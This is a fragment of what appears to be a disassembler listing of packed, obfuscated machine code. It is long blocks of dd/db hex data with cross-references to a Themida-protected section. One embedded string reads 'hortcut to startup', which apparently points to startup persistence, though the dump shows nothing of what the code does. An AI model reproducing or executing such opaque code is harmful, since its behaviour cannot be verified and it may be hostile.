		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B0F2C356h
		dd 0B5094078h, 607212Dh, 185995FFh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E528C2C3h
		dd 6A441502h, 6995FF00h, 8B06070Dh, 269EBC0h, 77229A4Dh
		dd 0D065F126h, 0BCCFEA01h, 638B3483h, 552FCB29h, 32BAF8E8h
		dd 0CA64B211h, 0DD788360h, 2F6A767Fh, 8E601FBAh, 27AD3AF3h
		dd 87527C98h, 0EF54F3D0h, 533DE28Ah, 626B8111h,	87E1EE05h
		dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h,	0F882F68h
		dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 655F3D36h
		dd 62368904h, 3336E0DAh, 0F06FC319h, 177A6AD5h,	17726242h
		dd 3336F727h, 0F067A291h, 8C39B378h, 0F3BDBC9Eh, 0DB64E358h
		dd 3336E31Ah, 69F5B9ACh, 3712B7CFh, 3712A7A2h, 3336E38Bh
		dd 49F5B18Ah, 0AE6EE0Fh, 0B3391822h, 3336E31Ah,	0B2FF5C83h
		dd 8FC28485h, 0FE8B600Ch, 3330E48Bh, 8EB5EABDh,	3531F251h
		dd 632F9732h, 8BF6684Ah, 3336E78Fh, 2C4B66CFh, 0AEBBE524h
		dd 353F4E51h, 6B6D3037h, 22035EE7h, 4736E535h, 8B65B30Eh
		dd 3336E78Fh, 2C4B66CFh, 0AEBBE524h, 353F493Eh,	6B6D3037h
		dd 2C3F6E47h, 335CE535h, 33350B48h, 6A16E38Ch, 7FBFBA85h
		dd 77B7E707h, 332CE7B5h, 6277E3C8h, 0D3059AA7h,	0C98E7A57h
		dd 33316016h, 8864E38Ch, 4C0D7A41h, 333E0B7Ch
		db 91h,	0E3h
word_590782	dw 626h			; DATA XREF: Themida_:0053E808o
		dd 0C856718Eh, 0AEBDD79Fh, 3531E62Fh, 0B8F66846h, 3416EA19h
		dd 0EBBA8540h, 0DCFA0AA2h, 8EBF8F89h, 3531C381h, 0B739E7CCh
		dd 3336E08Dh, 3336F0F0h, 0C847858Ch, 82C330FCh,	0ABDF2712h
		dd 0E412BE0Fh, 971F80Dh, 1B4F5EE7h, 3C36E535h, 3336C59Dh
		dd 6136898Ch, 3336E0AEh, 0F06CC323h, 17626ACBh,	177262CCh
		dd 3336F560h, 0F064A132h, 0DA8C43E3h, 3336E0FBh, 8DFD5449h
		dd 3136C423h, 6BB68C6h,	6930E4D8h, 0B4E966E9h, 335CE538h
		dd 33350B4Bh, 6916E38Ch, 67BFB985h, 77B7E707h, 3321E7B5h
		dd 6174E3C8h, 938892A7h, 0A0C65AACh, 0E3C9E7D2h, 3E5B6605h
		dd 8850E541h, 0F3B3E0CCh, 3398679Eh, 0BEBDE3C8h, 3531CE49h
		dd 5561DBB3h, 0B6391898h, 3336E398h, 3707764Fh,	0B250E524h
		dd 3134E7E9h, 307667C7h, 4C87E364h, 0AF0E6254h,	4EB3EC79h
		dd 36E38Ch, 343746CBh, 314E6325h, 5EB3EC79h, 3036E3C8h
		dd 34148AF9h, 4BB78534h, 3C9DE31Fh, 3336B809h, 63368946h
		dd 3336E0CBh, 0F06EC391h, 17726A90h, 17726260h,	3336F536h
		dd 0F066A319h, 0DA4E5D75h, 3336E356h, 4B9C528Fh, 87460C0Bh
		dd 0E71A92F9h, 14C67564h, 33343ADBh, 61368919h,	3336E064h
		dd 0F06CC346h, 17626A79h, 17726295h, 3336F6CCh,	0F064A164h
		dd 86373023h, 3531EC1Ch, 3237E332h, 0BE435400h,	39B13CA6h
		dd 0E4B78597h, 8439F2AAh, 59E61C9Eh, 30DEB232h,	1336E319h
		dd 0BA6F20D5h, 0B232C70Ah, 2632C767h, 7236E391h, 67EA2099h
		dd 317B00E5h, 0F3B3F989h, 310F6716h, 21DEE38Ch,	1536E346h
		dd 3142C0ACh, 0B81105DFh, 0DDCE4FDCh, 0DD365F3Ah, 0A28B6844h
		dd 6930E41Ch, 0E50DB0Dh, 0B639E144h, 3336E318h,	775E18h
		dd 4BB7E5CFh, 6C0B8562h, 4B2EC48h, 5936E31Bh, 30DEB08Ch
		dd 1336E346h, 0BA6D2078h, 0B232C7CDh, 2932C78Ch, 7036E364h
		dd 3CF52061h, 0D190EBB0h, 24ED624Dh, 55687DC9h,	53AADBA2h
		dd 334E669Eh, 335CE3C8h, 33350B37h, 6816E332h, 6FBFB8DAh
		dd 77B7E7A8h, 332EE762h, 6075E323h, 60177C52h, 4BB6A8DDh
		dd 0B6390B66h, 3336E37Ch, 0DB66E373h, 3336E38Fh, 6BF5BB66h
		dd 3712A7AAh, 3712A710h, 3336E3DEh, 63F5B324h, 3FDFCA01h
		dd 1E36E319h, 283A804Ch, 8CE072EAh, 55E658CDh, 33309B10h
		dd 20B3EC08h, 3C36E364h, 0B2391A8Dh, 3336E31Bh,	0BCDF1F06h
		dd 3C36E347h, 3388359Ch, 5948E290h, 30DEB1C8h, 1336E364h
		dd 0BA6C2068h, 0B232C74Dh, 2532C7C8h, 7136E346h, 0BE642071h
		dd 0E0F56313h, 0B4E96645h, 335CE56Eh, 33350B60h, 6916E319h
		dd 67BFB94Fh, 77B7E762h, 332DE707h, 6174E391h, 0F4FD620Bh
		dd 532B663Ch, 0FBBD85AEh, 335C33E6h, 33350BDEh,	6916E346h
		dd 67BFB9E0h, 77B7E7B5h, 332EE7ECh, 6174E364h, 0AD8315F1h
		dd 8C39BA89h, 4EAB6853h, 0B630E46Eh, 0FFB2ECE3h, 0B336E391h
		dd 0BB69C11h, 0AB3EC8Ch, 5936E332h, 30DEB219h, 1336E38Ch
		dd 0BA6F201Fh, 0B232C76Fh, 2A32C7D5h, 7236E3C8h, 69FF2035h
		dd 77C7B43Ch, 40339B99h, 33386683h, 0B3CEE346h,	3C65E45Bh
		dd 33362615h, 0F8BD85C8h, 0BC0E6202h, 4FB3EC37h, 3C36E319h
		dd 3336E80Eh, 36B4EC46h, 5536E323h, 29F43210h, 5B309B48h
		dd 3357666Bh, 335CE332h, 33350B49h, 6B16E38Ch, 77BFBB85h
		dd 77B7E707h, 332DE7B5h, 6376E3C8h, 0CE6B62A7h,	0BF1584CDh
		dd 4BB7857Ch, 3C131C87h, 3336D1C3h, 5A836A23h, 0DA30E4BEh
		dd 3336E3AAh, 0DB64E30Eh, 3336E331h, 69F5B939h,	3712B705h
		dd 3712A7C7h, 3336E33Bh, 3F5B1D3h, 4C862C66h, 902F5C02h
		dd 18EE543Dh, 0F0B785D9h, 0D8B693ACh, 330B0A3Bh, 0BE39E323h
		dd 3336E397h, 22135E43h, 3DDEE563h, 0A436E332h,	0D7636032h
		dd 0FCA56F9Dh, 8B84FE09h, 33310A0Eh, 3A15E391h,	0E27FCE0Eh
		dd 328EB996h, 3C36E332h, 3336E599h, 0EE8BEA8Ch,	6330E463h
		dd 332D6E2Ch, 6166E391h, 0C91A0973h, 0DA07EC75h, 3336E339h
		dd 0EC3E6B1Bh, 0F1362398h, 69B919D1h, 17326A7Bh, 0DB61E3FBh
		dd 3336E3CBh, 6CF5BC44h, 37129FBBh, 3712A798h, 3336E390h
		dd 75F5B401h, 5F0F177Ch, 0EE4DEBD5h, 0BEE954C7h, 3F080AD9h
		dd 57BB6E34h, 8B30EF5Dh, 4450B6AFh, 333B6645h, 0FC1DE524h
		dd 0E2903388h, 0B1C85948h, 0E36430DEh, 20681336h, 0C74DBA6Ch
		dd 0C7C8B232h, 83462532h, 0A4F305E9h, 5F536058h, 3A9C98BFh
		dd 0F9576171h, 0FC00B59h, 5684h, 9BB58D00h, 0E806074Bh
		dd 7, 0A9B39A64h, 29F7A934h, 71F1D95h, 3B85906h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 628BC353h, 5AC534E5h, 0FD8589FCh,	306070Dh
		dd 7134195h, 0FE6FF06h,	284h, 40D88B00h, 22A1BD89h, 0C08B0607h
		dd 13D59D23h, 0BD830607h, 6071ACDh, 83097500h, 71135BDh
		dd 19740006h, 0C08B5350h, 403B8h, 81858900h, 8D06072Fh
		dd 9AE279Dh, 5BD3FF06h,	35BD8358h, 60711h, 53501774h, 403B8h
		dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 2907FBFCh, 7228595h,	81BD8906h, 6A060729h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0FAC0C351h, 85507282h, 667FC1C5h, 38BB1BAh, 72B5DBDh
		dd 0F5C08B06h, 5E861h, 8A3F0000h, 0E99A43D2h, 12h, 0A505031Ah
		dd 0ACFCB935h, 0F4A34180h, 2E3603DDh, 665B34C6h, 810CD4BFh
		dd 6404C3h, 218D2B00h, 2B060704h, 6810FF6h, 81000000h
		dd 64F116C1h, 33148B19h, 28E0Fh, 0E58A0000h, 4E9FEA81h
		dd 8B667D1Ah, 0BFF281FEh, 81131B09h, 272731EAh,	0BE829h
		dd 0F1950000h, 20E6C1BAh, 0CC2D5BA4h, 6810F76h,	89000000h
		dd 72EF99Dh, 14895906h,	0EE933h, 293E0000h, 9993F6D8h
		dd 6A3016AEh, 0CB5E3799h, 5202EE83h, 5F34B051h,	0F4E4E5Fh
		dd 0FE81FBBFh, 0FFFF9CA0h, 0FF93850Fh, 5820FFFFh, 31C85333h
		dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h
		db 33h,	1
word_590E26	dw 7001h		; DATA XREF: Themida_:0053F004o
		dd 612BC261h, 72F1A374h, 0B97321C6h, 35023C8Eh,	0BE6E5A35h
		dd 0F3BF67EBh, 3D06A990h, 320354B7h, 3F058833h,	0B1460615h
		dd 3508788Eh, 0B61F0135h, 32080178h, 0DA520159h, 32020130h
		dd 6CC25F13h, 36A475BAh, 366445B2h, 3220012Fh, 4ED35775h
		dd 43CF5B7Bh, 4304159h,	320018DAh, 62016B33h, 328002DBh
		dd 0F1182133h, 1664886Bh, 16548037h, 32081537h,	0F1544133h
		dd 90F0805Ch, 6204FE34h, 328006DBh, 425D5433h, 769414C1h
		dd 1AAF6761h, 0BB575AC9h, 0EE8E2537h, 164E003Ch, 0B9488CDh
		dd 6A860623h, 15B194BAh, 0F2A30734h, 64106B1Fh,	320802DBh
		dd 0F15A2133h, 1676886Dh, 16458037h, 32801B37h,	0F1164733h
		dd 66FC94A0h, 3D004115h, 32080DBCh, 34860E33h, 0BB020133h
		dd 35310CB6h, 0CD3F0E35h, 3B1209B8h, 350110B6h,	0A7215E35h
		dd 340F1952h, 0CE4C8A55h, 378B94BAh, 0B3670734h, 3D7F370Ah
		dd 3240F8B7h, 63206B33h, 321002DBh, 0F1512133h,	1648886Ah
		dd 16468037h, 32011737h, 0F1D14033h, 0B1605424h, 324A08F2h
		dd 3213E965h, 6C280133h, 468D5FF0h, 76830517h, 32190517h
		dd 64C60133h, 212E24F0h, 0D1A166D0h, 3C9D9DD9h,	0DB3181C6h
		dd 3318843Ch, 32680133h, 3202E965h, 6CA00133h, 46C95FF0h
		dd 76A10517h, 320C0517h, 644E0133h, 1A3445F0h, 0DD2758F0h
		dd 0BA0E51A6h, 3280012Bh, 32400DDBh, 2801F533h,	0F369796Ch
		dd 0AED9CA98h, 43B98A1Ah, 6D04061Fh, 580040B8h,	31685033h
		dd 12400133h, 0BB79C26Ah, 0B314257Fh, 2B0C2577h, 73040133h
		dd 547BC262h, 0AFF6E9C9h, 6F45BE55h, 0AFC9C930h, 342710FEh
		dd 8815C0B0h, 12CCA37Dh, 799438B2h, 0B70D8A70h,	320101A5h
		dd 0DAD50159h, 32400130h, 6FE35C13h, 36346DBAh,	362C45B2h
		dd 32040127h, 0FFC15476h, 13709CBAh, 0BF0D0734h, 34474AA8h
		dd 0DA730159h, 32100130h, 69CB5A13h, 36205DBAh,	362645B2h
		dd 32010129h, 4435270h,	4919C024h, 0BF2F43EFh, 32100126h
		dd 320811DAh, 0EA6EB833h, 614E2332h, 0C1178225h, 4FA80B71h
		dd 3243B9F9h, 8F290133h, 34172A16h, 3262E0CCh, 3207E961h
		dd 68220133h, 66885BF0h, 76010517h, 32560517h, 60620133h
		dd 9C0D92F0h, 10F1BCBAh, 52650734h, 2D6B8CB8h, 0B70E0734h
		dd 32800132h, 8FCD60CBh, 342C477Ch, 7B1B8CBEh, 46B0073Fh
		dd 10593B0h, 3516E0B6h,	0F3CE2A35h, 582003DAh, 31C85333h
		dd 12100133h, 0BB52C269h, 0B3002567h, 29062577h, 0E9830133h
		dd 8BA4F305h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0C5F8A91Fh, 0E431D1C6h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CBC35646h, 8BFFD56Dh
		dd 9D9D8DC3h, 0B806071Eh, 39h, 15118589h, 0E80607h, 58000000h
		dd 0D05h, 0E9038900h, 39h
dword_591150	dd 0Eh dup(77E60000h), 9D8D8DFFh, 6A060C4Ah, 3E85600h
					; DATA XREF: Themida_:0053E65Co
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0AFCAC356h, 4FD3344Bh, 0E6C418D1h, 28A9858Bh, 0BD8B0607h
		dd 60707D5h, 1AD98D89h,	8F0F0607h, 3, 0C7DEB70Fh, 7101D85h
		dd 633806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 2F02C7A5h, 48AA162h, 0B5896287h
		dd 6072845h, 330585C7h,	607h, 0AE90000h, 38000000h, 95153D04h
		dd 8EEA26CEh, 0B5B5FF95h, 6A060712h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 72EDC350h
		dd 7E25EEC1h, 0B503C815h, 60706C5h, 185995FFh, 8B660607h
		dd 0FF006AD9h, 70D6995h, 0EBC08B06h, 0AE0D3168h, 0EF755002h
		dd 0F9F6CE65h, 0C848EA90h, 6A0E37C9h, 56502D57h, 0CEE46CD9h
		dd 0B67C5C87h, 0B958040h, 58508F5Dh, 0DBB79594h, 11454F67h
		dd 59CAAF63h, 3637E17Eh, 509F138Ah, 307EC688h, 89478082h
		dd 86D8590Ch, 0DBFB80A6h, 0A3494FBBh, 0B2E80F7Ch, 0CD488595h
		dd 0CAA0AA89h, 719F7AF4h, 0DB4C2A52h, 1E7B33BAh, 536CEB88h
		dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0)
		dd 60000000h, 14D505Fh,	0E9000000h, 0ED6h, 0C4D2F68h, 0F622E906h
		dd 7468FFFBh, 0E9060C4Eh, 0FFFBF618h, 0C4FF668h, 0F60EE906h
		dd 3568FFFBh, 0E9060C50h, 0FFFBF604h, 0C50E068h, 0F5FAE906h
		dd 9668FFFBh, 0E9060C51h, 0FFFBF5F0h, 0C55B368h, 0F5E6E906h
		dd 1168FFFBh, 0E9060C58h, 0FFFBF5DCh, 0C58F568h, 0F5D2E906h
		dd 766FFFFBh, 170ED5A7h, 0B3AB7244h, 574910E2h,	0EBE1A87Ah
		dd 31724416h, 20F2C7BDh, 0B98B6659h, 5325FEF2h,	0EEC0978Ch
		dd 61AE98D5h, 62802581h, 60570421h, 46546A8Dh, 5A2F7A51h
		dd 49968065h, 4A8631CDh, 1DC89A69h, 0D11E080Eh,	0D28631CCh
		dd 884522F1h, 0EB0EE7DBh, 38E80589h, 0E17F5D8Ch, 89F444B5h
		dd 886987AAh, 0AA99CDABh, 301DA6F8h, 7586A0Dh, 0DC8029DDh
		dd 21FA1373h, 99F16974h, 4Fh, 948936D1h, 0A59D72BDh, 0E3B289D4h
		dd 0B0B4B7C0h, 0DDCDE9D3h, 0EBCC8C38h, 1A67510Eh, 1B802ABCh
		dd 8F74173Ah, 0BB9BE8D2h, 0BB9C802Ah, 0BBE53698h, 23BA802Ah
		dd 0BC2F7C66h, 4928802Ah, 5A317C55h, 161688Bh, 6A570FE8h
		dd 0E487F1h, 46BF0000h,	4A2F7A51h, 7D4A59Dh, 1BF23D10h
		dd 0FADDD3F8h, 747E5B4Dh, 8631CD27h, 24D2419h, 9086652Bh
		dd 0CA9970BBh, 64F1DDCCh, 3F0E1760h, 532A1FF4h,	673E3308h
		dd 1D11BE95h, 0FF22F944h, 30E41B9Dh, 0AD827786h, 0C198E3B6h
		dd 645920F2h, 0F1C09D8Fh, 0B77EEDA6h, 19FE7397h, 1FFCCBBFh
		dd 38A66135h, 8557388Ch, 0F6D351DAh, 34217B0Ch,	261DFC86h
		dd 0FAA78453h, 965D2F04h, 0CB14CBA0h, 0B59DFD51h, 0C72DE28h
		dd 1E170000h, 0BFB67D4Fh, 5B531AECh, 0FFF1B88Ah, 93895022h
		dd 0D91AECBEh, 0C89A6F65h, 61330E01h, 0FBCDA69Ah, 96683F34h
		dd 956407Dh, 0A802580h,	7936CBC9h, 31CD428Fh, 71463C86h
		dd 2D5CCABh, 0F5EB1033h, 0CA774E20h, 0DFB4FFD4h, 214413EAh
		dd 5E3007FCh, 4B5EA987h, 0E5184DDh, 8936D5EBh, 9B72BD94h
		dd 68FC6F78h, 0DD85A18Bh, 0C06D8C38h, 0D2A9F4CBh, 65B091AFh
		dd 5E0D380h, 5EC0E3BAh,	802ABC0Dh, 0ED381507h, 14C2318h
		dd 0E595EDBCh, 113A8AF3h, 0F16A5738h, 0F2B0h, 5146E800h
		dd 645A2F7Ah, 0DD2F5A60h, 6330ECA2h, 7FCA996Ch,	3198EB6Dh
		dd 6D524786h, 31903683h, 814E2F86h, 12E4B38Eh, 0A27F564Bh
		dd 0AA1747C4h, 0B07DFEEFh, 0C39AE5BAh, 3A18FDA0h, 0DD9D833Eh
		dd 475073F2h, 79634024h, 8C38EAA5h, 0ED98FFDDh,	0A942FB1Fh
		dd 0B5876886h, 643D31DEh, 161F4219h, 461D1115h,	63AE7D4Eh
		dd 33E0BD8Ch, 0F44673Eh, 33F58325h, 0AA667686h,	6E650915h
		dd 0BA674413h, 1D5FC0C4h, 8AD52DAh, 9D6C493Bh, 4D37F4CBh
		dd 8623BD00h, 0D924FFF2h, 385B3C02h, 91481D13h,	9DFC6E58h
		dd 2D65AF3Ch, 0D200000Bh, 71380AD9h, 0ED5A77Ah,	0AC734516h
		dd 440BDDBAh, 0D5A7794Eh, 552A2094h, 0EEC9BC83h, 8861551Ch
		dd 23FAEFB6h, 11FB3851h, 80257EC4h, 368684C5h, 0CD428F79h
		dd 62438631h, 7BC6A395h, 665C81A4h, 3F8BF91h, 46A25A2Ch
		dd 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C390027h, 0A0B2FDDEh
		dd 802A994Fh, 426BBB24h, 0F16A3469h, 0CE1h, 2BD11900h
		dd 0DA000008h, 3C5F3A2Dh, 2CC96226h, 0FB13C5ACh, 0E5C2911Bh
		dd 3837AFFBh, 7AC5A68Ch, 0FCD9B0A5h, 7C6AC1Eh, 9E889EE0h
		dd 802A3E51h, 7FA27152h, 0C2998E55h, 0EBD59277h, 802A3E9Eh
		dd 0E9C6B897h, 6E95F71Ah, 0CDE76E62h, 9B674CCh,	745E3B16h
		dd 24EE2027h, 0F71C3F20h, 92592B02h, 697BC69Dh,	24EE2019h
		dd 9D43A3CCh, 38FFD1A8h, 0F216C43h, 24EE1FBBh, 31EF37C0h
		dd 0CC93653Ch, 0FCB500D7h, 5B18F56Fh, 99E4B7AEh, 7ED4C4C2h
		dd 0B879265Bh, 49433395h, 6142ED7Ch, 9E4D784h, 9AC4E7BEh
		dd 2249B1EDh, 0F77B6542h, 5EF37D52h, 0C11F337Dh, 0A9C58620h
		dd 0A6980EECh, 0DFF12DFBh, 84F088D5h, 7DA08145h, 906DF774h
		dd 8C014AA6h, 1F6A4B4Bh, 0C0998D3Ah, 8F97949Dh,	7CC9B39Ch
		dd 7D3F8600h, 0AB82CD9Ch, 0FC15FFDCh, 9D459070h, 6B38B8Dh
		dd 0CC9B7E09h, 764D42EFh, 6C79BB99h, 0C4593AF4h, 0BBB077A1h
		dd 0F9C62DE4h, 55E2DE8Fh, 9AB0Bh, 88575000h, 25F8EFB6h
		dd 0C3948C53h, 5B382AF1h, 0F7CCC289h, 9E125325h, 3A01D3A8h
		dd 0D39A6C47h, 6D3406DFh, 0B6CFA178h, 7E428F79h, 2438025h
		dd 7A514604h, 0EE5E3AC3h, 0ABF5829Dh, 96Ch, 77491811h
		dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h
		dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 257D0350h
		dd 0C5C30480h, 2F7A5146h, 0D3A69D4Ah, 0C0958BB0h, 15E541EEh
		dd 47310E16h, 8C38D6C3h, 7387D1B2h, 41E81DE7h, 43CB6947h
		dd 0DBB8292Eh, 0A8BCAFB8h, 7085E1CBh, 40EDC47Eh, 0B4A6734Ch
		dd 92B58CD7h, 8F489374h, 0EEAB889Ch, 744FB704h,	0DEB3A9C4h
		dd 15F6BC93h, 631E0417h, 36595DC3h, 0C5FE1701h,	0AE8FCA7Eh
		dd 563124D1h, 0DC11340Bh, 91633A2Fh, 47FED5CAh,	65A565C0h
		dd 0C1398310h, 66000008h, 5CC9E6Dh, 0A2693B0Eh,	4007D9AAh
		dd 0D89F714Eh, 693B0DE2h, 0E9BEB428h, 825D5017h, 1CF5E9B0h
		dd 0B78E834Ah, 0A58FCCE5h, 80257C58h, 46121051h, 0F09D7A51h
		dd 5E0124FBh, 0E38D9589h, 0C39A8FF3h, 3A3A178h,	0F8CA9977h
		dd 0A5827421h, 87332082h, 22498631h, 0FBA86542h, 0A80A2D08h
		dd 8C3DD163h, 0D9967354h, 25BFA2EFh, 0F5C2A380h, 0D2072AFFh
		dd 675B3025h, 9D6C438Eh, 0BC16F4CBh, 0A9921786h, 0CA434644h
		dd 9B3511C2h, 875E5378h, 9C71673Ch, 0C5AF6C51h,	80254478h
		dd 0D69C776Ah, 0E12E18F5h, 0E2802544h, 0C5B9DE01h, 0E5DC35ECh
		dd 7B08A3FAh, 80B31h, 0E8B7B000h, 85584F16h, 23F4ECB3h
		dd 0BB988A51h, 572C22E9h, 0FE72B385h, 9A613308h, 33FACCA7h
		dd 0CD94663Fh, 162F01D8h, 7BA2EFD9h, 62A38025h,	7A514664h
		dd 0A38D4A2Fh, 8631CC56h, 264B6E4Fh, 0F50F5A31h, 0D1C674CCh
		dd 945128FAh, 31CC5DAAh, 98755686h, 31CC61AEh, 5E816286h
		dd 7167EDC6h, 51865F7h,	629D0000h, 947E5BC9h, 8C3E184Fh
		dd 0DD8A6748h, 0C91600EBh, 0CA802581h, 0C2F71AE9h, 77492015h
		dd 1E995ECCh, 3107D70h,	0C3A8F3C2h, 7B482316h, 2789AC89h
		dd 0F9913F25h, 69277FE8h, 3675C2ACh, 8D6E06D1h,	0CDF9D26Ah
		dd 2F717810h, 0A9000000h, 815EC862h, 31CD4A97h,	1F6A4B86h
		dd 0CCA35C3Ah, 6DACB7FEh, 0FEDBE84Ah, 0C730A698h, 11754E7Fh
		dd 7EDD70Ah, 25000000h,	231D1h,	0C962F900h, 438E6B5Dh
		dd 0D6C09D6Ch, 8C3E17F9h, 8E3D683h, 2219E6BDh, 2D0E2C4Fh
		dd 8180D0E2h, 0A3B8025h, 5447F4BAh, 0DE4D5679h,	0A27F6946h
		dd 0E38631CDh, 73693002h, 0B16E539Eh, 31CC7AC7h, 0A6817486h
		dd 0AEBE845Bh, 1B9A5F3Bh, 0BFE2B1ADh, 84CFA49Ah, 510F5758h
		dd 0EDB4865Bh, 0FFD41FFAh, 0BAE6310Ch, 0C2CEAD8Bh, 0DFE8335h
		dd 0DD83E3EAh, 393D0FEAh, 8630FE02h, 29FBD4C8h,	0D8B1A552h
		dd 71BEA88Dh, 728630FDh, 7A9FC291h, 9D63AE85h, 6650C862h
		dd 8631CD19h, 8D6A391Ah, 0C712EDE0h, 3F44CDF0h,	0B694714Ch
		dd 0F8CEF647h, 0C5678A9Fh, 0B5B00DEh, 2ECEA4DEh, 18F3E60Bh
		dd 2B15D2E7h, 86318DDEh, 0FB0C7D7h, 0DB1A2917h,	0C5DEE90Ch
		dd 140CE7D9h, 54297443h, 253F8A5Dh, 18F4A4FCh, 0F8EF9C59h
		dd 0F903DA25h, 863129ACh, 0A2A9CCADh, 0ECDF8C42h, 0CCEFC611h
		dd 70C45B34h, 39CD3F7h,	3FEC0000h, 0B3A87548h, 46A3B9DCh
		dd 75307B50h, 0FC44F379h, 0A173483Eh, 50291DCAh, 3D12082Dh
		dd 3914070Ch, 5CA4B308h, 89D3A89Eh, 9BE6BDB2h, 31CD3989h
		dd 61C1F286h, 1DEFC6BBh, 3E896256h, 31CCDC2Ch, 0C919E086h
		dd 0F0542503h, 8F99E6D0h, 0B99A8631h, 7C8BD2BBh, 0BFE2BBAFh
		dd 0F49EA69Ah, 0D2ADA052h, 74B2B087h, 653706F4h, 30F08861h
		dd 0E8C00086h, 60F7707Eh, 0FFFFFF14h, 7A514698h, 15ECE1A8h
		dd 0C1948B38h, 0D97C9F76h, 7C5147F4h, 0D5375A31h, 8631CC85h
		dd 0EC01DF3Eh, 46914FA4h, 0A9F90023h, 5527FEF3h, 8AD7C17Eh
		dd 84863155h, 936AB592h, 0A4C9ECCDh, 7C8ED9AEh,	56A4F798h
		dd 0E63102FAh, 0F7421F11h, 0DB83E3B2h, 72080E9h, 26FD922Eh
		dd 59A6h, 0C962DE00h, 17A07E5Bh, 0A5659251h, 2BFF417h
		dd 408B5E55h, 7E44669h,	808C3DF0h, 1D15C29Fh, 5D2A014Ch
		dd 6C438E6Bh, 4894A649h, 1580256Ah, 5A3354ACh, 0D2F164FAh
		dd 18h,	72493EEBh, 8C09394Fh, 48631D7h,	0FFFDDDC2h, 7D1EAFFh
		dd 0F9000000h, 26DD1h, 5146F900h, 9D4A2F7Ah, 86ABCEABh
		dd 20DDBA91h, 31CCE936h, 0E609EA86h, 0A1A11BCh,	3986702Dh
		dd 3A8631CDh, 17013659h, 8C38E793h, 0C4D62102h,	802AB273h
		dd 0F04B148h, 0B2F3402Ah, 13F4802Ah, 307D6744h,	29802AB3h
		dd 0C61E2548h, 6A49CCA5h, 3944F1h, 627C0000h, 947E5BC9h
		dd 8C38DE78h, 0E53011h,	0BC0C5943h, 1306802Ah, 6E917238h
		dd 2ABBBB0Ch, 0E6C3B580h, 0FDCEC69Bh, 0E141CAB2h, 86DE4739h
		dd 6A568C65h, 0CA04F1h,	363C0000h, 0CD428F79h, 443C8631h
		dd 0A9CCAD73h, 6DB88F84h, 82CDA298h, 0EEE3B8ADh, 1F7CC17h
		dd 3B0AE12Ch, 7F3C216Ch, 0FA04DFD2h, 8631CCADh,	7DA2C5A6h
		dd 0DBDFB188h, 8631D159h, 9B6D4439h, 0CE97BF0h,	0EEBE672Eh
		dd 0E205F56Fh, 879FC3ADh, 923F8C3Ah, 0A57AC59Eh, 3B08D7B2h
		dd 4C236E47h, 352C0B29h, 4A421762h, 0E8DDAA79h,	0B8654211h
		dd 541BEDC2h, 49D2895Eh, 0AFA3F7B9h, 3EED822h, 9A930000h
		dd 3B32F9CBh, 0D7CF9668h, 7B6D3406h, 0F05CC9Eh,	5596683Ah
		dd 4416EBE1h, 0DDAF8A7Dh, 77492216h, 12E4BBB0h,	85D2BCF9h
		dd 7E802577h, 50463F3Dh, 0FCF19E7Bh, 0E003DA25h, 23FAEFB6h
		dd 0CFA29946h, 0E6B7AF84h, 12CAF417h, 2F7A5146h, 0BC8E655Ah
		dd 1A0C1A11h, 4E1BF23Dh, 5D347F5Ch, 0D7C7B18Eh,	7F8C38FCh
		dd 32BBB7A1h, 2245EFB7h, 0C6D82304h, 802ABF77h,	19A3032Ch
		dd 4B351212h, 8631F05Bh, 88635603h, 94664765h, 5E242E9h
		dd 3DDAD61Bh, 1DEBF8Ch,	0AE8B5C54h, 0ED380901h,	0F2C9F316h
		dd 0BA958835h, 255663B0h, 91856480h, 62EBE9B8h,	1803DD9Ah
		dd 0C1086A8Dh, 0A78025BFh, 0CC08DAB3h, 69h, 0CCB809F4h
		dd 5BCE8631h, 6724FBCDh, 31CD307Dh, 544A2986h, 688DB07Fh
		dd 6F549F70h, 114E7991h, 6144421Fh, 8AEC0F89h, 8631393Dh
		dd 56323C2Fh, 3405B535h, 0CCA1ECBBh, 0BCB2FDDAh, 4B35FB4Bh
		dd 8630EBFEh, 0A4716F7h, 3D35EB3Bh, 0DFD39A6Ch,	59A9BB06h
		dd 5B8630EBh, 72BFA966h, 738630EBh, 18686F92h, 0C3956E62h
		dd 7952460Bh, 8E65592Eh, 0A077C299h, 436C86D1h,	70493DE3h
		dd 0E0CF9A9Eh, 7FBF8631h, 0F77150A7h, 0FFFF741Fh, 0A95A38FFh
		dd 69403531h, 10485E6Bh, 5146D7EDh, 655A2F7Ah, 1A11BC8Eh
		dd 904F2D0Ah, 0DDD9F722h, 2913486Bh, 8C38D8A5h,	0E6C3B594h
		dd 18F5C49Bh, 7A9D786Bh, 0B774C5D7h, 0E049802Ah, 4E8E6780h
		dd 2F06F16Ah, 3E000000h, 7E5BC962h, 38DE7894h, 554DFA8Ch
		dd 0EEBFB784h, 81CCADCBh, 2ABC1E6Fh, 3A8AF380h,	6A573811h
		dd 766E1BF1h, 60835AA5h, 0DAC0h, 5146F800h, 0DEAD8A7Ch
		dd 0F3C8BE93h, 2216C3A8h, 0C012649h, 0B6AB5835h, 4817EAE1h
		dd 0B8AD8225h, 890B0FE1h, 0D98631D1h, 0E18C7EFBh, 0C1E4AA36h
